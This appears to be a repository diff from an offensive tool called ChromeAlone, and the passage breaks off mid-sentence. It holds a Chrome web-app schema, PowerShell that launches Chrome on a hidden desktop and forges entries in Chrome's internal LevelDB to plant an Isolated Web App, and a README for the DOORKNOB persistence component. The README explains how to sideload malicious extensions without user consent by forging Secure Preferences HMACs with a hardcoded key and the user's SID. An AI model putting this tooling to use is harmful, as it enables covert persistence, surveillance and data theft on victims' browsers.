// third_party/blink/public/mojom/manifest/display_mode.mojom
|
||||
enum DisplayMode {
|
||||
// UNDEFINED if optional |display_mode| is absent.
|
||||
BROWSER = 1;
|
||||
MINIMAL_UI = 2;
|
||||
STANDALONE = 3;
|
||||
FULLSCREEN = 4;
|
||||
WINDOW_CONTROLS_OVERLAY = 5;
|
||||
TABBED = 6;
|
||||
BORDERLESS = 7;
|
||||
PICTURE_IN_PICTURE = 8;
|
||||
}
|
||||
|
||||
// Local data. May vary across devices. Not to be synced.
|
||||
//
|
||||
optional string name = 2; // Required.
|
||||
optional uint32 theme_color = 3;
|
||||
optional string description = 4;
|
||||
optional DisplayMode display_mode = 5;
|
||||
optional string scope = 6;
|
||||
optional SourcesProto sources = 7; // Required.
|
||||
// This used to be `bool is_locally_installed`.
|
||||
required proto.InstallState install_state = 8; // Required.
|
||||
|
||||
// Installation state:
|
||||
// Specifies if this web app is from sync and has not completed installation.
|
||||
// If true, this entity will be re-installed on startup.
|
||||
optional bool is_from_sync_and_pending_installation = 9;
|
||||
|
||||
repeated sync_pb.WebAppIconInfo manifest_icons = 10;
|
||||
|
||||
// A list of icon sizes we successfully downloaded to store on disk, for icons
|
||||
// that are suitable for any purpose (ie. IconPurpose::ANY). See also:
|
||||
// |downloaded_icon_sizes_purpose_monochrome|.
|
||||
repeated int32 downloaded_icon_sizes_purpose_any = 11;
|
||||
|
||||
// A list of file handlers.
|
||||
repeated WebAppFileHandlerProto file_handlers = 12;
|
||||
|
||||
// A list of additional search terms to use when searching for the app.
|
||||
repeated string additional_search_terms = 13;
|
||||
|
||||
// Even though |chromeos_data| is optional, it should always exist on
|
||||
// ChromeOS.
|
||||
optional ChromeOSDataProto chromeos_data = 14;
|
||||
|
||||
// Last time the app is launched.
|
||||
// ms since the Unix epoch. See sync/base/time.h.
|
||||
optional int64 last_launch_time = 15;
|
||||
|
||||
// Time the app is installed.
|
||||
// ms since the Unix epoch. See sync/base/time.h.
|
||||
optional int64 first_install_time = 16;
|
||||
|
||||
// A list of protocol handlers.
|
||||
repeated WebAppProtocolHandler protocol_handlers = 17;
|
||||
|
||||
// Represents whether the icons for the web app are generated by Chrome due to
|
||||
// no suitable icons being available.
|
||||
optional bool is_generated_icon = 18;
|
||||
|
||||
// A list of Shortcuts Menu items specified in the Web App Manifest.
|
||||
repeated WebAppShortcutsMenuItemInfoProto shortcuts_menu_item_infos = 19;
|
||||
// A list of icon sizes we successfully downloaded to store on disk.
|
||||
repeated DownloadedShortcutsMenuIconSizesProto
|
||||
downloaded_shortcuts_menu_icons_sizes = 20;
|
||||
|
||||
optional uint32 background_color = 21;
|
||||
|
||||
// A list of display modes specified in app manifest.
|
||||
repeated DisplayMode display_mode_override = 22;
|
||||
|
||||
// A list of icon sizes we successfully downloaded to store on disk, for icons
|
||||
// that are designed for masking (ie. IconPurpose::MASKABLE). See also:
|
||||
// |downloaded_icon_sizes_purpose_any|.
|
||||
repeated int32 downloaded_icon_sizes_purpose_maskable = 23;
|
||||
|
||||
// Run on OS Login modes for web app.
|
||||
// See chrome/browser/web_applications/web_app_constants.h
|
||||
// for web_app::RunOnOsLoginMode definition, which this enum should be in sync
|
||||
// with.
|
||||
enum RunOnOsLoginMode {
|
||||
// NOT_RUN if optional |user_run_on_os_login_mode| is absent.
|
||||
NOT_RUN = 0;
|
||||
WINDOWED = 1;
|
||||
MINIMIZED = 2;
|
||||
}
|
||||
// User preference: Run on OS Login mode for web app.
|
||||
// If present, the web app is configured to run on OS login.
|
||||
optional RunOnOsLoginMode user_run_on_os_login_mode = 24;
|
||||
|
||||
optional ShareTarget share_target = 25;
|
||||
|
||||
optional string launch_query_params = 26;
|
||||
|
||||
repeated WebAppUrlHandlerProto url_handlers = 27;
|
||||
|
||||
optional ClientDataProto client_data = 28;
|
||||
|
||||
// This enum should be synced with |CaptureLinks| in
|
||||
// third_party/blink/public/mojom/manifest/capture_links.mojom
|
||||
enum CaptureLinks {
|
||||
// UNDEFINED if optional |capture_links| is absent.
|
||||
NONE = 1;
|
||||
NEW_CLIENT = 2;
|
||||
EXISTING_CLIENT_NAVIGATE = 3;
|
||||
}
|
||||
|
||||
optional CaptureLinks capture_links = 29;
|
||||
|
||||
optional string manifest_url = 30;
|
||||
|
||||
// Last time the Badging API was used.
|
||||
// ms since the Unix epoch. See sync/base/time.h.
|
||||
optional int64 last_badging_time = 31;
|
||||
|
||||
optional bool file_handler_permission_blocked = 32;
|
||||
|
||||
// A list of icon sizes we successfully downloaded to store on disk for
|
||||
// monochrome icons. (IconPurpose::MONOCHROME). See also:
|
||||
// |downloaded_icon_sizes_purpose_any|,
|
||||
// |downloaded_icon_sizes_purpose_maskable|.
|
||||
repeated int32 downloaded_icon_sizes_purpose_monochrome = 33;
|
||||
|
||||
optional bool window_controls_overlay_enabled = 34;
|
||||
|
||||
// If present, the URL to use to create a new note in the app.
|
||||
optional string note_taking_new_note_url = 35;
|
||||
|
||||
// A list of allowed launch protocols when launching the app with a protocol
|
||||
// url. This list is checked to see if we can bypass the permission dialog
|
||||
// when launching the web app.
|
||||
repeated string allowed_launch_protocols = 37;
|
||||
|
||||
optional LaunchHandlerProto launch_handler = 38;
|
||||
|
||||
// Time the app is updated.
|
||||
// ms since the Unix epoch. See sync/base/time.h.
|
||||
optional int64 manifest_update_time = 39;
|
||||
|
||||
// A list of disallowed launch protocols. The user has elected to never
|
||||
// allow these protocols be launched in the web app.
|
||||
repeated string disallowed_launch_protocols = 40;
|
||||
|
||||
// A theme color to be used when the app is opened in dark mode.
|
||||
optional uint32 dark_mode_theme_color = 41;
|
||||
|
||||
// Should be kept in sync with `ApiApprovalState` in web_app_constants.h.
|
||||
enum ApiApprovalState {
|
||||
REQUIRES_PROMPT = 0;
|
||||
ALLOWED = 1;
|
||||
DISALLOWED = 2;
|
||||
}
|
||||
|
||||
optional ApiApprovalState file_handler_approval_state = 42;
|
||||
|
||||
// For apps installed via the SubApp API, ID of the parent app that installed
|
||||
// the Sub-app.
|
||||
optional string parent_app_id = 43;
|
||||
|
||||
// A background color to be used when the app is opened in dark mode.
|
||||
optional uint32 dark_mode_background_color = 44;
|
||||
|
||||
// Specifies if this web app is currently being uninstalled. If true on
|
||||
// startup, it's assumed there was a crash or other error during
|
||||
// uninstallation, and the uninstallation will be tried again.
|
||||
optional bool is_uninstalling = 45;
|
||||
|
||||
reserved 46;
|
||||
|
||||
// Whether the app should show up in file-open intent and picking surfaces.
|
||||
optional bool handles_file_open_intents = 47;
|
||||
|
||||
reserved 48;
|
||||
|
||||
// Contains the permissions policy that should be applied to the web app.
|
||||
repeated WebAppPermissionsPolicy permissions_policy = 49;
|
||||
|
||||
// The source that triggered the latest install. This is a
|
||||
// `webapps::WebappInstallSource` encoded as an integer.
|
||||
optional uint32 latest_install_source = 50;
|
||||
|
||||
reserved 51;
|
||||
|
||||
// Map of WebAppManagement enum to placeholder info and install_urls.
|
||||
// There should be only one entry per WebAppManagement source.
|
||||
repeated ManagementToExternalConfigInfo management_to_external_config_info =
|
||||
52;
|
||||
|
||||
reserved 53;
|
||||
|
||||
// The amount of storage (in bytes) used by the app and its related data.
|
||||
optional uint64 app_size_in_bytes = 54;
|
||||
optional uint64 data_size_in_bytes = 55;
|
||||
|
||||
// If present, the URL to use to launch the app on the lock screen.
|
||||
optional string lock_screen_start_url = 56;
|
||||
|
||||
// Contains customisations to the web app tab strip. Only present when the
|
||||
// display_mode is tabbed.
|
||||
optional proto.TabStrip tab_strip = 57;
|
||||
|
||||
// Only used on Mac OS, stores whether the app should always show the
|
||||
// toolbar when in fullscreen mode.
|
||||
optional bool always_show_toolbar_in_fullscreen = 58;
|
||||
|
||||
// Contains the os_integration_state currently deployed for a web_app.
|
||||
// This will be populated from the fields in this proto when ran for the first
|
||||
// time after OS hooks have been registered.
|
||||
optional proto.WebAppOsIntegrationState current_os_integration_states = 59;
|
||||
|
||||
// If present, signals that this app is an Isolated Web App, and contains
|
||||
// IWA-specific information like bundle location.
|
||||
optional proto.IsolationData isolation_data = 60;
|
||||
|
||||
// Contains web origins that are part of the app's extended scope.
|
||||
repeated WebAppScopeExtensionProto scope_extensions = 61;
|
||||
|
||||
// The same as scope_extensions but filtered to origins that have validated
|
||||
// associations with this web app. See
|
||||
// https://github.com/WICG/manifest-incubations/blob/gh-pages/scope_extensions-explainer.md
|
||||
// for association requirements.
|
||||
repeated WebAppScopeExtensionProto scope_extensions_validated = 62;
|
||||
|
||||
// Stores whether the current web app is set as the default app to capture
|
||||
// links.
|
||||
optional proto.LinkCapturingUserPreference user_link_capturing_preference =
|
||||
63;
|
||||
|
||||
// Time the app was updated as part of a full install. For example when a
|
||||
// policy installs an app that is already in the DB installed as a
|
||||
// default/sync installed app and the DB data is overwritten. ms since the
|
||||
// Unix epoch. See sync/base/time.h.
|
||||
optional int64 latest_install_time = 64;
|
||||
|
||||
// Contains bookkeeping details about attempts to fix broken icons from sync
|
||||
// installed web apps.
|
||||
optional GeneratedIconFix generated_icon_fix = 65;
|
||||
|
||||
// Records the number of times the user has ignored/dismissed the offer to
|
||||
// turn on user link capturing after launching the app via the intent picker,
|
||||
// specifically from the `EnableLinkCapturingInfoBarDelegate`.
|
||||
optional int32 supported_links_offer_ignore_count = 66;
|
||||
optional int32 supported_links_offer_dismiss_count = 67;
|
||||
|
||||
// Set to true if the app was installed via the DIY app install path by the
|
||||
// user (3-dot menu, Install page as App...). DIY apps aren't promotable or
|
||||
// installable, and the user can customize its name.
|
||||
optional bool is_diy_app = 68;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
$dllPath = Join-Path $env:LOCALAPPDATA $env:APP_NAME
|
||||
$dllPath = Join-Path $dllPath "ProcessHelper.dll"
|
||||
Import-Module $dllPath
|
||||
|
||||
# Launch Chrome app
|
||||
$chromePath = $env:CHROME_PATH
|
||||
if (-not $chromePath) {
|
||||
# Check multiple possible Chrome installation paths
|
||||
$chromePaths = @(
|
||||
"${env:ProgramFiles}\Google\Chrome\Application\chrome.exe",
|
||||
"${env:ProgramFiles(x86)}\Google\Chrome\Application\chrome.exe",
|
||||
"${env:LocalAppData}\Google\Chrome\Application\chrome.exe"
|
||||
)
|
||||
|
||||
foreach ($path in $chromePaths) {
|
||||
if (Test-Path $path) {
|
||||
$chromePath = $path
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
# Fallback to default if not found
|
||||
if (-not $chromePath) {
|
||||
$chromePath = "C:\Program Files\Google\Chrome\Application\chrome.exe"
|
||||
}
|
||||
}
|
||||
|
||||
$userDataDir = $env:USER_DATA_DIR
|
||||
if (-not $userDataDir) {{
|
||||
$userDataDir = Join-Path $env:LOCALAPPDATA $env:APP_NAME
|
||||
}}
|
||||
|
||||
$chromeArgs = "--allow-no-sandbox-job --disable-3d-apis --disable-gpu " +
|
||||
"--disable-d3d11 --disable-accelerated-layers --disable-accelerated-plugins " +
|
||||
"--disable-accelerated-2d-canvas --disable-deadline-scheduling " +
|
||||
"--disable-ui-deadline-scheduling --aura-no-shadows " +
|
||||
"--user-data-dir=`"$userDataDir`" --profile-directory=Default"
|
||||
|
||||
$chromeAppArgs = "$chromeArgs --app-id=$env:IWA_APP_ID"
|
||||
|
||||
# Launch Chrome app on hidden desktop - we don't care about the PID output
|
||||
Start-ProcessOnDesktop -ProcessPath $chromePath -ProcessArgs $chromeAppArgs -DesktopName $sharedDesktopName
|
||||
Start-ProcessOnDesktop -ProcessPath $chromePath -ProcessArgs $chromeArgs -DesktopName $sharedDesktopName
|
||||
@@ -0,0 +1,290 @@
|
||||
function Initialize-CRC32CTable {
|
||||
$polynomial = [uint32]::Parse("82F63B78", [System.Globalization.NumberStyles]::HexNumber)
|
||||
$table = [uint32[]]::new(256)
|
||||
|
||||
for ($i = 0; $i -lt 256; $i++) {
|
||||
$crc = [uint32]$i
|
||||
for ($j = 0; $j -lt 8; $j++) {
|
||||
if (($crc -band 1) -eq 1) {
|
||||
$shifted = [uint32]($crc -shr 1)
|
||||
$crc = DoMath -Value1 $shifted -Value2 $polynomial
|
||||
} else {
|
||||
$crc = [uint32]($crc -shr 1)
|
||||
}
|
||||
}
|
||||
$table[$i] = $crc
|
||||
}
|
||||
return $table
|
||||
}
|
||||
|
||||
function DoMath {
|
||||
param (
|
||||
[Parameter(Mandatory=$true)]
|
||||
[uint32]$Value1,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[uint32]$Value2
|
||||
)
|
||||
|
||||
$hex1 = [Convert]::ToString($Value1, 16).PadLeft(8, '0')
|
||||
$hex2 = [Convert]::ToString($Value2, 16).PadLeft(8, '0')
|
||||
$resultHex = ""
|
||||
|
||||
for ($i = 0; $i -lt 8; $i++) {
|
||||
$digit1 = [Convert]::ToInt32($hex1[$i].ToString(), 16)
|
||||
$digit2 = [Convert]::ToInt32($hex2[$i].ToString(), 16)
|
||||
|
||||
$xDigit = $xTable[$digit1, $digit2]
|
||||
$resultHex += [Convert]::ToString($xDigit, 16)
|
||||
}
|
||||
|
||||
return [Convert]::ToUInt32($resultHex, 16)
|
||||
}
|
||||
|
||||
$script:xTable = New-Object 'int[,]' 16,16
|
||||
for ($i = 0; $i -lt 16; $i++) {
|
||||
for ($j = 0; $j -lt 16; $j++) {
|
||||
$and = $i -band $j
|
||||
$x = $i + $j - 2 * $and
|
||||
$script:xTable[$i, $j] = $x
|
||||
}
|
||||
}
|
||||
|
||||
function Get-CRC32C {
|
||||
param (
|
||||
[Parameter(Mandatory=$true)]
|
||||
[byte[]]$Data
|
||||
)
|
||||
|
||||
$table = Initialize-CRC32CTable
|
||||
$crc = [uint32]::Parse("FFFFFFFF", [System.Globalization.NumberStyles]::HexNumber)
|
||||
|
||||
foreach ($byte in $Data) {
|
||||
# Safely convert byte to uint32 before operations
|
||||
[uint32]$byteValue = [uint32]$byte
|
||||
$temp = DoMath -Value1 $crc -Value2 $byteValue
|
||||
$index = [uint32]($temp -band 0xFF)
|
||||
|
||||
$shifted = [uint32]($crc -shr 8)
|
||||
$crc = DoMath -Value1 $table[$index] -Value2 $shifted
|
||||
$crc = [uint32]($crc -band 0xFFFFFFFF)
|
||||
}
|
||||
|
||||
$crc = DoMath -Value1 $crc -Value2 ([uint32]::Parse("FFFFFFFF", [System.Globalization.NumberStyles]::HexNumber))
|
||||
return $crc
|
||||
}
|
||||
|
||||
function ConvertFrom-HexString {
|
||||
param (
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$HexString
|
||||
)
|
||||
|
||||
# Clean the hex string - remove any whitespace or invalid characters
|
||||
$HexString = $HexString.Replace(" ", "").Trim()
|
||||
|
||||
# Validate hex string
|
||||
if ($HexString.Length % 2 -ne 0) {
|
||||
throw "Invalid hex string length. Must be even number of characters."
|
||||
}
|
||||
|
||||
if (-not ($HexString -match '^[0-9A-Fa-f]+$')) {
|
||||
throw "Invalid hex string. Contains non-hex characters."
|
||||
}
|
||||
|
||||
$bytes = [byte[]]::new($HexString.Length / 2)
|
||||
for($i=0; $i -lt $HexString.Length; $i+=2) {
|
||||
$hexByte = $HexString.Substring($i, 2)
|
||||
try {
|
||||
$bytes[$i/2] = [convert]::ToByte($hexByte, 16)
|
||||
}
|
||||
catch {
|
||||
throw "Failed to convert hex byte '$hexByte' at position $i : $_"
|
||||
}
|
||||
}
|
||||
return $bytes
|
||||
}
|
||||
|
||||
function Add-UInt32 {
|
||||
param(
|
||||
[Parameter(Mandatory=$true)]
|
||||
[uint32]$A,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[uint32]$B
|
||||
)
|
||||
return [uint32](($A + $B) -band [uint32]::MaxValue)
|
||||
}
|
||||
|
||||
function Mask-CRC32C {
|
||||
param (
|
||||
[Parameter(Mandatory=$true)]
|
||||
[uint32]$CRC
|
||||
)
|
||||
|
||||
$K_MASK_DELTA = [uint32]::Parse("A282EAD8", [System.Globalization.NumberStyles]::HexNumber)
|
||||
|
||||
$rightShift = [uint32]($CRC -shr 15)
|
||||
$leftShift = [uint32]($CRC -shl 17)
|
||||
[uint32]$rotated = $rightShift -bor $leftShift
|
||||
|
||||
$masked = Add-UInt32 -A $rotated -B $K_MASK_DELTA
|
||||
|
||||
return $masked
|
||||
}
|
||||
|
||||
function ConvertTo-LittleEndianHex {
|
||||
param (
|
||||
[Parameter(Mandatory=$true)]
|
||||
[uint32]$Value
|
||||
)
|
||||
|
||||
$bytes = [BitConverter]::GetBytes($Value)
|
||||
$hexString = ($bytes | ForEach-Object { $_.ToString("x2") }) -join ''
|
||||
return $hexString
|
||||
}
|
||||
|
||||
function Calc-LevelDB-Hash {
|
||||
param (
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$Data
|
||||
)
|
||||
|
||||
$dataBytes = ConvertFrom-HexString -HexString $Data
|
||||
$crc32cHash = Get-CRC32C -Data $dataBytes
|
||||
$maskedCRC32C = Mask-CRC32C -CRC $crc32cHash
|
||||
$maskedCRC32CHex = ConvertTo-LittleEndianHex -Value $maskedCRC32C
|
||||
return $maskedCRC32CHex
|
||||
}
|
||||
|
||||
function Convert-ToVarInt32 {
|
||||
param (
|
||||
[Parameter(Mandatory=$true)]
|
||||
[int]$Value
|
||||
)
|
||||
|
||||
$bytes = New-Object System.Collections.ArrayList
|
||||
|
||||
do {
|
||||
$byte = $Value -band 0x7F
|
||||
$Value = $Value -shr 7
|
||||
|
||||
if ($Value -ne 0) {
|
||||
$byte = $byte -bor 0x80
|
||||
}
|
||||
|
||||
$bytes.Add([byte]$byte) > $null
|
||||
} while ($Value -ne 0)
|
||||
|
||||
return ($bytes | ForEach-Object { $_.ToString("x2") }) -join ''
|
||||
}
|
||||
|
||||
function Create-LevelDBEntry {
|
||||
param (
|
||||
[Parameter(Mandatory=$true)]
|
||||
[int]$SequenceNumber,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$Key,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$ValueHex
|
||||
)
|
||||
|
||||
# 1. Create Record Format Entry
|
||||
$keyBytes = [System.Text.Encoding]::ASCII.GetBytes($Key)
|
||||
$keyLength = Convert-ToVarInt32 -Value $keyBytes.Length
|
||||
$valueLength = Convert-ToVarInt32 -Value ($ValueHex.Length / 2)
|
||||
|
||||
Write-Debug "Key Length (hex): $keyLength"
|
||||
Write-Debug "Key Bytes (hex): $(($keyBytes | ForEach-Object { $_.ToString("x2") }) -join '')"
|
||||
Write-Debug "Value Length (hex): $valueLength"
|
||||
Write-Debug "Value (hex): $ValueHex"
|
||||
|
||||
# Construct record entry parts separately to ensure no spaces are introduced
|
||||
$keyHex = ($keyBytes | ForEach-Object { $_.ToString("x2") }) -join ''
|
||||
$cleanValueHex = $ValueHex.Replace(" ", "")
|
||||
|
||||
$recordEntry = "01" + # Live record state
|
||||
$keyLength + # Key length as VarInt32
|
||||
$keyHex + # Key bytes
|
||||
$valueLength + # Value length as VarInt32
|
||||
$cleanValueHex # Value bytes
|
||||
|
||||
Write-Debug "Record Entry: $recordEntry"
|
||||
|
||||
# 2. Create Batch Header
|
||||
$batchHeader = [BitConverter]::GetBytes([int64]$SequenceNumber) +
|
||||
[BitConverter]::GetBytes([int32]1) # Record count = 1
|
||||
$batchHeaderHex = ($batchHeader | ForEach-Object { $_.ToString("x2") }) -join ''
|
||||
|
||||
Write-Debug "Batch Header: $batchHeaderHex"
|
||||
|
||||
# 3. Calculate LevelDB Hash
|
||||
$dataToHash = "01" + $batchHeaderHex + $recordEntry
|
||||
Write-Debug "Data to Hash: $dataToHash"
|
||||
$hash = Calc-LevelDB-Hash -Data $dataToHash
|
||||
Write-Debug "Hash: $hash"
|
||||
|
||||
# 4. Calculate content length
|
||||
$contentLength = ($batchHeaderHex.Length + $recordEntry.Length) / 2
|
||||
$lengthBytes = [BitConverter]::GetBytes([int16]$contentLength)
|
||||
$lengthHex = ($lengthBytes | ForEach-Object { $_.ToString("x2") }) -join ''
|
||||
Write-Debug "Content Length (hex): $lengthHex"
|
||||
|
||||
# 5. Combine all parts
|
||||
$finalHex = ($hash + # CRC32C hash
|
||||
$lengthHex + # Content length
|
||||
"01" + # Block type (FULL)
|
||||
$batchHeaderHex +
|
||||
$recordEntry).Replace(" ", "")
|
||||
|
||||
return $finalHex
|
||||
}
|
||||
|
||||
function Write-LevelDBEntry {
|
||||
param (
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$FilePath,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[int]$SequenceNumber,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$Key,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$ValueHex
|
||||
)
|
||||
|
||||
# 1. Create the new entry
|
||||
$newEntry = Create-LevelDBEntry -SequenceNumber $SequenceNumber -Key $Key -ValueHex $ValueHex
|
||||
|
||||
# 2. Convert hex string to bytes
|
||||
$entryBytes = ConvertFrom-HexString -HexString $newEntry
|
||||
|
||||
# 3. Append bytes to file
|
||||
Add-Content -Path $FilePath -Value $entryBytes -Encoding Byte
|
||||
}
|
||||
|
||||
# Create IWA directory structure
|
||||
function Initialize-IWADirectory {
|
||||
param (
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$AppInternalName,
|
||||
[Parameter(Mandatory=$true)]
|
||||
[string]$SwbmPath
|
||||
)
|
||||
|
||||
$userDataDir = Join-Path $env:LOCALAPPDATA $env:APP_NAME
|
||||
$iwaDir = Join-Path $userDataDir "Default\iwa\$AppInternalName"
|
||||
|
||||
# Create directories if they don't exist
|
||||
New-Item -ItemType Directory -Force -Path $iwaDir | Out-Null
|
||||
|
||||
# Copy SWBM file
|
||||
Copy-Item -Path $SwbmPath -Destination (Join-Path $iwaDir "main.swbn") -Force
|
||||
}
|
||||
|
||||
function Get-LevelDBLogFilePath {
|
||||
$userDataDir = Join-Path $env:LOCALAPPDATA $env:APP_NAME
|
||||
$syncDataDir = Join-Path $userDataDir "Default"
|
||||
$syncDataDir = Join-Path $syncDataDir "Sync Data"
|
||||
$syncDataLevelDBDir = Join-Path $syncDataDir "LevelDB"
|
||||
$logFiles = Get-ChildItem -Path $syncDataLevelDBDir -Filter "*.log"
|
||||
$logFile = $logFiles | Sort-Object { [int]($_.Name -replace '[^0-9]', '') } | Select-Object -Last 1
|
||||
return Join-Path $syncDataLevelDBDir $logFile.Name
|
||||
}
|
||||
@@ -0,0 +1,269 @@
|
||||
# DOORKNOB - Browser Extension & IWA Persistence Component
|
||||
|
||||
## Overview
|
||||
DOORKNOB is the persistence and installation component of ChromeAlone that bypasses Chrome's security mechanisms to install unauthorized extensions and Isolated Web Applications (IWAs). It manipulates Chrome's internal databases and configuration files to achieve persistence without user consent.
|
||||
|
||||
## What is DOORKNOB?
|
||||
|
||||
DOORKNOB implements two primary attack vectors:
|
||||
1. **Chrome Extension Sideloading** - Installing malicious extensions by manipulating Chrome's preference files and cryptographic verification
|
||||
2. **Isolated Web App (IWA) Installation** - Deploying web applications with native-like privileges through Chrome's internal databases
|
||||
|
||||
## Technical Deep Dive
|
||||
|
||||
### Chrome Extension Sideloading
|
||||
|
||||
#### Understanding Chrome's Security Model
|
||||
|
||||
Chrome uses several layers to prevent unauthorized extension installation:
|
||||
|
||||
**1. Preferences File Structure**
|
||||
Chrome stores extension metadata in JSON files located at:
|
||||
- `%LOCALAPPDATA%\Google\Chrome\User Data\Default\Preferences`
|
||||
- `%LOCALAPPDATA%\Google\Chrome\User Data\Default\Secure Preferences`
|
||||
|
||||
The `Preferences` file contains basic settings, while `Secure Preferences` contains security-critical data that's cryptographically protected. Depending on which version of Windows is in use, information traditionally stored in `Secure Preferences` may instead be written into `Preferences` instead. From testing it appears that
|
||||
Windows 11 Chrome can work entirely from the `Preferences` file while earlier versions require configuration
|
||||
information for extensions to be stored in `Secure Preferences`.
|
||||
|
||||
**2. MAC (Message Authentication Code) Protection**
|
||||
Chrome protects the `Secure Preferences` file using HMAC-SHA256 hashes. This ensures file integrity by:
|
||||
- Computing a hash of the file contents using a machine-specific key (derived in step 3) and device ID (on Windows this is the user's SID)
|
||||
- Storing this hash alongside the data
|
||||
- Verifying the hash on each startup - if it doesn't match, Chrome resets the file
|
||||
|
||||
The input value for a hash calculation concatenates all of the inputs before hashing against the machine key. Here's an example input value to the HMAC calculation:
|
||||
|
||||
```
|
||||
S-1-5-21-2926226500-289407501-1878376096fieebjmodjmimefnlpbfdihkehpelgcc{"account_extension_type":0,"active_permissions":{"api":["activeTab","background","clipboardRead","cookies","history","nativeMessaging","tabs","declarativeNetRequest","scripting"],"explicit_host":["\u003Call_urls>"],"scriptable_host":["\u003Call_urls>"]},"creation_flags":38,"first_install_time":"13397690747955841","from_webstore":false,"granted_permissions":{"api":["activeTab","background","clipboardRead","cookies","history","nativeMessaging","tabs","declarativeNetRequest","scripting"],"explicit_host":["\u003Call_urls>"],"scriptable_host":["\u003Call_urls>"]},"last_update_time":"13397690747955841","location":4,"newAllowFileAccess":true,"service_worker_registration_info":{"version":"1.0"},"serviceworkerevents":["runtime.onInstalled","runtime.onStartup"],"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}
|
||||
```
|
||||
|
||||
**3. Machine Key Extraction**
|
||||
The HMAC key is stored within Chrome's `resources.pak` file, which contains compressed browser resources. DOORKNOB:
|
||||
- Parses the PAK file format to locate a specific 64-byte resource
|
||||
- Extracts this machine-specific key
|
||||
- Uses it to generate valid HMAC signatures for modified preference files
|
||||
- Technically this is identical across all chrome installs, so for now Machine Key is really just a hardcoded value.
|
||||
|
||||
#### The Sideloading Process
|
||||
|
||||
**Step 1: Chrome Discovery**
|
||||
```powershell
|
||||
# Locates Chrome installation and extracts the resources.pak file for Machine Key calculation
|
||||
$chromePath = Get-ChromeApplicationPath
|
||||
$resourcesPath = "$chromePath\resources.pak"
|
||||
```
|
||||
|
||||
**Step 2: Machine Key + Device ID Extraction**
|
||||
```powershell
|
||||
# Parses PAK file structure to find the 64-byte machine key
|
||||
$resourceBytes = [System.IO.File]::ReadAllBytes($ResourcePath)
|
||||
$machineKey = Extract-64ByteResource($resourceBytes)
|
||||
```
|
||||
|
||||
```powershell
|
||||
$deviceId = ([System.Security.Principal.WindowsIdentity]::GetCurrent().User.Value -split '-')[0..6] -join '-'
|
||||
```
|
||||
|
||||
**Step 3: Preference Manipulation**
|
||||
The script modifies Chrome's preferences to include the malicious extension:
|
||||
```json
|
||||
{
|
||||
"extensions": {
|
||||
"settings": {
|
||||
"malicious_extension_id": {
|
||||
"account_extension_type": 0,
|
||||
"active_permissions": {
|
||||
"api": [
|
||||
"management",
|
||||
"system.display",
|
||||
"system.storage",
|
||||
"webstorePrivate",
|
||||
"system.cpu",
|
||||
"system.memory",
|
||||
"system.network"
|
||||
],
|
||||
"explicit_host": [],
|
||||
"manifest_permissions": [],
|
||||
"scriptable_host": []
|
||||
},
|
||||
"app_launcher_ordinal": "t",
|
||||
"commands": {},
|
||||
...
|
||||
"manifest": {...},
|
||||
"path": "C:\\path\\to\\extension",
|
||||
"state": 1
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Note that in some cases this may be in the `Preferences` file (appears to be the case on Windows 11), while in most cases
|
||||
it's stored in the `Secure Preferences` file (all other Windows versions).
|
||||
```
|
||||
|
||||
**Step 4: HMAC Regeneration**
|
||||
```powershell
|
||||
# Computes new HMAC for the modified file
|
||||
$hmac = [System.Security.Cryptography.HMACSHA256]::new($machineKey)
|
||||
$newHash = $hmac.ComputeHash($modifiedPreferences)
|
||||
```
|
||||
|
||||
**Step 5: HMAC Insertion**
|
||||
We take the MAC from Step 4, and insert it into the `protection.macs` location for the appropriate extension id.
|
||||
|
||||
For example, say our hash is `9773F872715710627B9986B2E953AE331CB36A1B42952D038A34876AF63DDC72` for `ahfgeienlihckogmohjhadlkjgocpleb`, we would insert it into `protection.macs.extensions.settings.ahfgeienlihckogmohjhadlkjgocpleb` as `9773F872715710627B9986B2E953AE331CB36A1B42952D038A34876AF63DDC72`.
|
||||
|
||||
Similar to step 3, sometimes this change is made in the `Preferences` file (in Windows 11), while it's normally
|
||||
stored in `Secure Preferences` for earlier versions.
|
||||
|
||||
### Isolated Web App (IWA) Installation
|
||||
|
||||
#### Understanding IWAs
|
||||
|
||||
Isolated Web Apps are Chrome's mechanism for installing web applications with native-like privileges. They:
|
||||
- Run in isolated contexts with enhanced permissions
|
||||
- Can access system APIs normally restricted to native applications
|
||||
- Are distributed as signed web bundles (`.swbn` files)
|
||||
|
||||
#### Chrome's Internal Storage Systems
|
||||
|
||||
**1. LevelDB Database**
|
||||
Chrome uses LevelDB (a key-value database) to store application metadata:
|
||||
- Location: `%LOCALAPPDATA%\Google\Chrome\User Data\Default\Sync Data\LevelDB\`
|
||||
- Contains IWA installation records, permissions, and metadata
|
||||
- Uses binary-encoded keys and protobuf-encoded values
|
||||
|
||||
The `LevelDB` folder will contain a series of `.log` files, which when processed together will be treated
|
||||
as the database. The powershell implementation in Doorknob assumes there is only one of these `.log` files -
|
||||
we're assuming that we're working with a fresh database versus one with more keys and a longer usage timeframe.
|
||||
|
||||
**2. Protocol Buffers (Protobuf)**
|
||||
Chrome serializes complex data structures using protobuf, Google's language-neutral serialization format:
|
||||
- Compact binary encoding of structured data
|
||||
- Schema-defined message formats
|
||||
- Used for IWA metadata, permissions, and installation records
|
||||
|
||||
#### The IWA Installation Process
|
||||
|
||||
**Step 1: Initialize a fresh Chrome User Profile**
|
||||
In order to run Chrome Isolated Web Apps, we need to enable certain flags, specifically:
|
||||
|
||||
```
|
||||
--enable-isolated-web-app-dev-mode
|
||||
--enable-isolated-web-apps
|
||||
```
|
||||
|
||||
In order to avoid needing a special shortcut to run Chrome, we can just force these flags to load every time
|
||||
